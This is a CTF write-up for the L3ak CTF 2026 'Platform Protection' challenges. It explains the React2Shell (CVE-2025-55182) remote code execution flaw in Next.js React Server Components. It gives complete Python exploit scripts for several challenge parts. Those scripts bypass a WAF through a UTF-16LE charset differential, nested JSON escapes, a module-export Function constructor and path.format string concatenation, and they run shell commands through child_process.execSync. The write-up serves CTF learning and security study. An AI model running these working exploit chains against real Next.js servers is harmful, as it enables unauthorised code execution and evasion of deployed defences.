L3AK Platform Protection (L3ak CTF 2026) - writeup

EN

I participated in L3ak CTF 2026, and it had a series of challenges, L3AK Platform Protection, which focused on React2Shell and WAF for its exploit. The challenge was made by one of the founders of React2Shell, Sylvie.

There were a total of seven challenges, part 0 to part 6. My teammate solved part 0; I solved part 1 to part 3 during the CTF; part 4 was solved right after the CTF had finished; and I was halfway through solving part 5, but I finally solved it with the help of a PoC provided by Sylvie herself.

The challenge

All the challenges (except for part 0) consist of 2 servers, a Next.js server and a proxy server that denies payloads that contain malicious payloads. The goal of the challenge is to somehow bypass the condition and gain RCE on every server.

Part 0

Part 0 was solved by my teammate. This challenge had no WAF, so he pulled out a PoC made by xalgord, and it worked just fine.

Part 1

While the source code for each challenge is hidden, the author provided a hint that the challenges were based on her blog, and the blog provided some clear directions.

  1. A parsing bug, where the firewall regex cared about something JavaScript didn’t
  2. String concatenation by importing path.join
  3. Recursive JSON decoding
  4. Recursive JSON decoding but two levels deeper (lmao)
  5. Abusing Error.toString to get a free concatenation with : as a separator

Considering Part 1 was already solved by many teams, I assumed that for Part 1 I wouldn't need to go deep into how react2shell works, and I just needed to find a parser differential between Next.js and the proxy.

This blog mainly focuses on this topic, covers several approaches, and provides multiple PoCs.

I tried some of them, and one of them worked. The proxy did not care about the character encoding provided by the Content-Type header when sent using the multipart/form-data content type. However, the Next.js server respects the character set, which causes the parser differential.

UTF-16LE encoding is similar to UTF-8, but it uses 2 bytes for each character. Hence, :constructor will be :\x00c\x00o\x00n\x00s\x00t\x00r\x00u\x00c\x00t\x00o\x00r\x00. If the proxy only decodes the payload using UTF-8, it cannot detect it has the string :constructor.

import json

import requests
from base64 import b64decode

URL = "https://platform-protection-1-bd362ef56565.instances.ctf.l3ak.team/"

s = requests.session()

cmd = "/readflag"

boundary = "lmao"

# ... Create part0 here

parts = []
parts.append(
    f"--{boundary}\r\n"
    f"Content-Type: text/plain; charset=utf16le\r\n"
    f'Content-Disposition: form-data; name="0"\r\n\r\n'
    f"{part0.encode("utf-16le").decode()}\r\n"
)
parts.append(
    f"--{boundary}\r\n"
    f'Content-Disposition: form-data; name="1"\r\n\r\n'
    f'"$@0"\r\n'
)
parts.append(
    f"--{boundary}\r\n"
    f'Content-Disposition: form-data; name="2"\r\n\r\n'
    f"[]\r\n"
)
parts.append(f"--{boundary}--")

body = "".join(parts)
content_type = f"multipart/form-data; boundary={boundary}"

r = s.post(URL, headers={
    "X-Nextjs-Request-Id": "b5dce965",
    "Next-Action": "x",
    "X-Nextjs-Html-Request-Id": "SSTMXm7OJ_g0Ncx6jpQt9",
    "Content-Type": content_type

}, data=body, allow_redirects=False)


result = b64decode(r.headers.get("X-Action-Redirect", "").split(";")[1].encode()).decode()
print(result)

Part 2

In this challenge, the previous payload did not work, and there are probably no parser differentials.

I tried different things, and found out that

":constructor"

will be blocked,

":\u0063onstructor"

will also be blocked, but

":\u005cu0063onstructor"

doesn't. This clearly shows that we need

Recursive JSON decoding

for this challenge. However, simply replacing it did not work, since Next.js only decodes JSON once. So I went deeper and started to learn how react2shell works in the first place.

Understanding React Flight Protocol (RFC)

RFC is a serialization format used in React Server Components. This serialization format can express wider types of values and supports reference relationships between different objects.

  • The payload consists of multiple chunks, where each chunk is a JSON object.
    • In Python, you can send chunks like this:
import json, requests

URL = "..."

chunk1 = json.dumps({"foo": "bar"})
chunk2 = json.dumps({"biz": "baz"})

requests.post(URL, files={
    "0": (None, chunk1),
    "1": (None, chunk2)
})
  • You can express objects, numbers, strings, etc., just like normal JSON.
  • You can also express special values by using a string that starts with $.
  • Internally, the Chunk class is used to process the value. The value attribute of a Chunk instance stores the value represented by the chunk.
    • In this blog, chunk instance refers to the Chunk instance, and chunk value refers to its attribute value. There's a difference here so keep this in mind.
  • Here are some examples of the special values that will be used in this blog:
Expression Value
$0, $1... Refers to the value of another chunk
$1:foo:bar Refers to a property of another chunk. Here, it is chunk1.value.foo.bar
$Q1 Creates a Map instance from another chunk. Here, it is new Map(chunk1.value)
$@1 Refers to the chunk instance, rather than the chunk value
$B Refers to blob (binary) data
$F Refers to an exported value of an already loaded module (Don't ask why this is needed, or why this should be safe. I have no idea.)
  • The entrypoint of the chunk parsing starts from initializeModelChunk. In the function, the reviveModel function recursively traverses through the JSON value.

Understanding react2shell

This is what the react2shell payload looks like.

Chunk 0

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": '{"then":"$B1337"}',
  "_response": {
    "_prefix": "<any Javascript code>",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

Chunk 1

"$@0"

Chunk 2

[]

How does this work? Let me explain step by step.

  1. There is a bug in the $1:foo:bar expression that allows traversal through unsafe properties such as constructor and __proto__ (see this code in getOutlinedModel).
      let value = chunk.value;
      for (let i = 1; i < path.length; i++) {
        value = value[path[i]];
      }
    
  2. If the chunk value has a then property after being processed, that function is invoked with this bound to the value that was supplied.
    • This is because after initializeModelChunk calculates its chunk value, it calls resolve(chunk.value). In JavaScript, an object with a then function is called a thenable object, and the prime example of it is a Promise instance. The resolve function provided by new Promise((resolve, reject) => {...}) calls then in an attempt to recursively resolve a thenable object.
  3. $1:__proto__:then refers to Chunk.prototype.then, because the value of chunk 1 is a reference to the chunk 0 instance.
  4. Hence, by setting the then attribute of the chunk value to Chunk.prototype.then, it will be invoked with this bound to the chunk value, instead of the chunk instance. This is equivalent to parsing a chunk instance, with all the metadata that the chunk instance holds under your control.
  5. If chunk.status is "resolved_model", it tries to calculate the chunk value with initializeModelChunk. In initializeModelChunk, the value property is first decoded as JSON, and then the decoded value is processed by reviveModel.
  6. The $B handler calls this._response._formData.get(this._response._prefix + id). By setting this._response._formData to $0:constructor:constructor (i.e., Function) and this._response._prefix to arbitrary JavaScript code, it is possible to construct a function that results in remote code execution when invoked.
  7. Finally, set the then property to the function created in step 6. Because the function is invoked automatically, as explained in step 2, this results in remote code execution.

Solving the challenge

Here is the main idea for recursive JSON decoding:

  • See that in the original payload, JSON is decoded twice: the first time when parsing the original value you have sent, and the second time when you have full control over the chunk instance.
  • If we can somehow include a string containing :constructor only in the second string that is parsed as JSON, it can be expressed as :\u005cu0063onstructor. This will bypass the WAF.

So perhaps we can write something like this:

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": '{"x":"$1:\u005cu0063onstructor:\u005cu0063onstructor"}',
  "_response": {
    "_prefix": "<any Javascript code>",
    "_chunks": "$Q2",
    "_formData": {
        "_chunks": "$Q1"
    }
  }
}

Unfortunately, this doesn't work. This is because $1 tries to resolve to a chunk using this._response._chunks. This is an empty Map instance in the original payload, so we can make it nonempty in chunk 2, like this:

[
    [1, {
        "status": "fulfilled",
        "value": {}
    }],
]

Then, instead of setting then to an RCE function in the second JSON object, we set it to Chunk.prototype.then again to invoke it as this._formData.get. Since we cannot reference it using $1:__proto__:then, I included Chunk.prototype.then in chunk 1 as well. The final solve script looks like this:

import json

import requests
from base64 import b64decode

URL = "https://platform-protection-2-8a3a4fe5909a.instances.ctf.l3ak.team/"

s = requests.session()

cmd = "/readflag"
cmd = cmd.replace("'", "\\'")

prefix_payload = (
    f"var res=process.mainModule.require('child_process').execSync('{cmd}',{{'timeout':5000}}).toString('base64');"
    f"throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`NEXT_REDIRECT;push;/login?a=;${{res}};307;`}});"
)

part0a = json.dumps(
    {
        "then": "$0",
        "status": "resolved_model",
        "reason": -1,
        "value": '{"then":"$B1337"}',
        "_response": {
            "_prefix": prefix_payload,
            "_chunks": "$Q1",
            "_formData": {"get": "$0:constructor:constructor"},
        },
    }
)

part0 = json.dumps(
    {
        "then": "$1:__proto__:then",
        "status": "resolved_model",
        "reason": -1,
        "value": part0a,
        "_response": {
            "_chunks": "$Q2",
        },
    }
)

part0 = part0.replace(":constructor", ":\\u005cu0063onstructor")

part2 = json.dumps(
    [
        [0, {"status": "fulfilled", "value": "$1:__proto__:then"}],
        [1, {"status": "fulfilled", "value": []}],
    ]
)

r = s.post(
    URL,
    headers={
        "Next-Action": "x",
    },
    files={
        "0": (None, part0),
        "1": (None, '"$@0"'),
        "2": (None, part2),
    },
    allow_redirects=False,
)

if r.status_code == 303:
    result = b64decode(
        r.headers.get("X-Action-Redirect", "").split(";")[1].encode()
    ).decode()
    print(result)
else:
    print(r.status_code)
    print(r.headers)
    print(r.text)

Part 3

In this challenge, I observed that

":\u005cu0063onstructor"

is blocked, and multiple layers of JSON decoding are blocked, while

":\u005cu005cu005cu005cu0063onstructor"

isn't. Hence, what we need is more recursive JSON decoding. I have already implemented two layers of JSON decoding, so we just need to apply the same idea multiple times. The solve script looks like this:

import json

import requests
from base64 import b64decode

URL = "https://platform-protection-3-ef9ad600e764.instances.ctf.l3ak.team/"

s = requests.session()

DEPTH = 3

cmd = "/readflag"
cmd = cmd.replace("'", "\\'")

prefix_payload = (
    f"var res=process.mainModule.require('child_process').execSync('{cmd}',{{'timeout':5000}}).toString('base64');"
    f"throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`NEXT_REDIRECT;push;/login?a=;${{res}};307;`}});"
)

part0a = json.dumps(
    {
        "then": "$0",
        "status": "resolved_model",
        "reason": -1,
        "value": '{"then":"$B1337"}',
        "_response": {
            "_prefix": prefix_payload,
            "_chunks": "$Q1",
            "_formData": {"get": "$0:constructor:constructor"},
        },
    }
)

for _ in range(DEPTH):
    part0a = json.dumps(
        {
            "then": "$0",
            "status": "resolved_model",
            "reason": -1,
            "value": part0a,
            "_response": {
                "_chunks": "$Q1",
            },
        }
    )

part0 = json.dumps(
    {
        "then": "$1:__proto__:then",
        "status": "resolved_model",
        "reason": -1,
        "value": part0a,
        "_response": {
            "_chunks": "$Q2",
        },
    }
)

part0 = part0.replace(":constructor", f":\\{"u005c"*(DEPTH+1)}u0063onstructor")

part2a = [
    [0, {"status": "fulfilled", "value": "$1:__proto__:then"}],
    [1, {"status": "fulfilled", "value": []}],
]

for _ in range(DEPTH):
    part2a = [
        [0, {"status": "fulfilled", "value": "$1:__proto__:then"}],
        [1, {"status": "fulfilled", "value": part2a}],
    ]


part2 = json.dumps(part2a)

r = s.post(
    URL,
    headers={
        "Next-Action": "x",
    },
    files={
        "0": (None, part0),
        "1": (None, '"$@0"'),
        "2": (None, part2),
    },
    allow_redirects=False,
)

if r.status_code == 303:
    result = b64decode(
        r.headers.get("X-Action-Redirect", "").split(";")[1].encode()
    ).decode()
    print(result)
else:
    print(r.status_code)
    print(r.headers)
    print(r.text)


Part 4

When I solved part 3, I only had 15 minutes left in the CTF, so I gave up solving the remaining parts during the CTF, but I managed to solve part 4 by myself a few hours after the CTF had finished.

In this challenge, the previous payload did not work. It seems that

:constructor

is blocked but

constructor

is not. Hence, if we can find another primitive that allows getting an attribute that is not $1:foo:bar, maybe we can achieve RCE.

I was looking at the implementation for $F, since the hint referred to using path.join, and found this implementation:

export function requireModule<T>(metadata: ClientReference<T>): T {
  let moduleExports = __turbopack_require__(metadata[ID]);
  /* ... */
  return moduleExports[metadata[NAME]];
}

We have full control of the metadata object, so if we can find a module that exports a Function instance, we can get the Function constructor by setting metadata[NAME] to constructor. This is exactly what we need!

After I RCEed the other challenge (assuming that the Next.js server is the same for every challenge), I downloaded the full .next directory to get all the modules and their module IDs.

I edited getOrInstantiateModuleFromParent in .next/server/chunks/ssr/[turbopack]_runtime.js like this:

function getOrInstantiateModuleFromParent(id, sourceModule) {
    const module1 = moduleCache[id];
    console.log(moduleCache) // Add here
    if (module1) {
        if (module1.error) {
            throw module1.error;
        }
        return module1;
    }
    return instantiateModule(id, 1, sourceModule.id);
}

I then ran the server locally. I found out that module IDs 19026 and 23932 matched the condition!

So my final solve work like this:

  • Create a fake _bundlerConfig object in chunk 0 in the first layer so that we can refer to it with this._response._bundlerConfig in the next layer. In the config, say that fake_module resolves to module ID 19026.
  • Create fake metadata in chunk 2 in the first layer, so that $F2 will use it as metadata. In the metadata, set the id attribute to fake_module.
  • Now, in the second layer, $F2 points to the Function constructor. Set it to _response._formData.get, so that in the third layer, we can refer to it as this._response._formData.get.
  • The third layer uses the Function constructor and gains RCE.
import json

import requests
from base64 import b64decode

URL = "https://platform-protection-4-0d770576d0df.instances.ctf.l3ak.team/"
# URL = "http://localhost:3000/"
s = requests.session()

cmd = "/readflag"
cmd = cmd.replace("'", "\\'")

prefix_payload = (
    f"var res=process.mainModule.require('child_process').execSync('{cmd}',{{'timeout':5000}}).toString('base64');"
    f"throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`NEXT_REDIRECT;push;/login?a=;${{res}};307;`}});"
)

part0a = json.dumps(
    {
        "then": "$0",
        "status": "resolved_model",
        "reason": -1,
        "value": '{"then":"$B1337"}',
        "_response": {
            "_prefix": prefix_payload,
            "_chunks": "$Q1",
            "_formData": {"get": "$F2"},
        },
    }
)

part0 = json.dumps(
    {
        "then": "$1:__proto__:then",
        "status": "resolved_model",
        "reason": -1,
        "value": part0a,
        "_response": {
            "_chunks": "$Q2",
            "_bundlerConfig": {
                "fake_module": {"id": 19026, "chunks": [], "name": "constructor"}
            },
        },
    }
)

part2 = json.dumps(
    [
        [0, {"status": "fulfilled", "value": "$1:__proto__:then"}],
        [1, {"status": "fulfilled", "value": []}],
        [2, {"status": "fulfilled", "value": {"id": "fake_module"}}],
    ]
)

r = s.post(
    URL,
    headers={
        "Next-Action": "x",
    },
    files={
        "0": (None, part0),
        "1": (None, '"$@0"'),
        "2": (None, part2),
    },
    allow_redirects=False,
)

if r.status_code == 303:
    result = b64decode(
        r.headers.get("X-Action-Redirect", "").split(";")[1].encode()
    ).decode()
    print(result)
else:
    print(r.status_code)
    print(r.headers)
    print(r.text)

Part 5

In part 5, you are not allowed to use the string constructor. Hence, we need to somehow dynamically create a string. The hint referred to path.join, which was a bit misleading since the function we could use was path.format.

There's an interesting behavior when dir and root are the same string. It concatenates the dir and base attributes as follows:

path.format({"dir": "foo", "root": "foo", "base": "bar"}) // return "foobar"

I was stuck here because while I had access to path.format, I had no idea how I could pass an object as an argument. I missed the fact that, when bound is provided by the metadata, it creates a function equivalent to:

resolvedFunction.bind(null, ...bounds)

(see this code)

When we get path.format with bounds set to {"dir": "foo", ...}, we get a function such that, when it is called, it returns the concatenated string.

How should we call the function? We can use how JSON.parse works to achieve that. When a non-string is sent to JSON.parse, it calls toString and parses its result. Hence, by setting value to an object such that toString is set to the bound function, the function is called and its result will be parsed as JSON.

I set bound to

{
    "dir": payload0,
    "root": payload0,
    "base": payload1,
}

and when payload0 and payload1 are concatenated, they create the malicious JSON. I split it in a way so that the string constructor doesn't appear.

Lastly, the server filters specific numbers such as 14747 and 23574, which are the module IDs of the path module. This can be easily bypassed by setting the chunk 3 value to a string with a length of 14747 and referencing $3:length.

import json

import requests
from base64 import b64decode

URL = "https://platform-protection-5-21dcfb0882ca.instances.ctf.l3ak.team/"
s = requests.session()

cmd = "/readflag"
cmd = cmd.replace("'", "\\'")

prefix_payload = (
    f"var res=process.mainModule.require('child_process').execSync('{cmd}',{{'timeout':5000}}).toString('base64');"
    f"throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`NEXT_REDIRECT;push;/login?a=;${{res}};307;`}});"
)

part0b = json.dumps(
    {
        "then": "$0",
        "status": "resolved_model",
        "reason": -1,
        "value": '{"then":"$B1337"}',
        "_response": {
            "_prefix": prefix_payload,
            "_chunks": "$Q1",
            "_formData": {"get": "$0:constructor"},
        },
    }
)
part0b_parts = part0b.split("constructor", 1)
part0b_parts = [part0b_parts[0] + "const", "ructor" + part0b_parts[1]]

part0a = json.dumps(
    {
        "then": "$0",
        "status": "resolved_model",
        "reason": -1,
        "value": {
            "toString": "$F2"
        },
        "_response": {
            "_chunks": "$Q1",
        },
    }
)

part0 = json.dumps(
    {
        "then": "$1:__proto__:then",
        "status": "resolved_model",
        "reason": -1,
        "value": part0a,
        "_response": {
            "_chunks": "$Q2",
            "_bundlerConfig": {
                "fake_module": {
                    "id": "$3:length",
                    "chunks": [],
                    "name": "format",
                }
            },
        },
    }
)

part2 = json.dumps(
    [
        [0, {"status": "fulfilled", "value": "$1:__proto__:then"}],
        [
            1,
            {
                "status": "fulfilled",
                "value": [
                    [0, {"status": "fulfilled", "value": "$1:__proto__:then"}],
                    [1, {"status": "fulfilled", "value": []}],
                ],
            },
        ],
        [
            2,
            {
                "status": "fulfilled",
                "value": {
                    "id": "fake_module",
                    "bound": [
                        {
                            "dir": part0b_parts[0],
                            "root": part0b_parts[0],
                            "base": part0b_parts[1],
                        }
                    ],
                },
            },
        ],
    ]
)

part3 = json.dumps("a" * 14747)

r = s.post(
    URL,
    headers={
        "Next-Action": "x",
    },
    files={
        "0": (None, part0),
        "1": (None, '"$@0"'),
        "2": (None, part2),
        "3": (None, part3),
    },
    allow_redirects=False,
)


if r.status_code == 303:
    result = b64decode(
        r.headers.get("X-Action-Redirect", "").split(";")[1].encode()
    ).decode()
    print(r.headers)
    print(result)
else:
    print(r.status_code)
    print(r.headers)
    print(r.text)

Part 6

I haven't even looked at what is being filtered. Maybe later I might tackle on this challenge.

Afterthoughts

This was my first time actually learning about React2Shell, and I was surprised by how clever and precise the PoC was. I love JavaScript puzzles in CTFs, but I can't believe that a similar thing happened in real life and actually caused one of the most impactful CVEs in the last few years.

This CTF completely banned the use of AI, which I know is controversial, but I really enjoyed it. Honestly, it would probably not be hard for recent LLMs to solve this challenge if I provided the right direction, but doing so would probably never allow me to fully understand how the original payload worked.

Huge thanks to my teammate 0xM4hm0ud for guiding me and helping me through this challenge. Also, big thanks to the great organizers for the nice challenges!

References

$170k in Bypasses: The Vercel React2Shell Challenge
The React2Shell Story and What Happened Next.js
React2Shell「CVE-2025-55182」の分析、PoCを巡る混乱と悪用の広がり
【kurenaif】Reactで見つかったRCEの脆弱性を解説【CVE-2025-55182】【React2shell】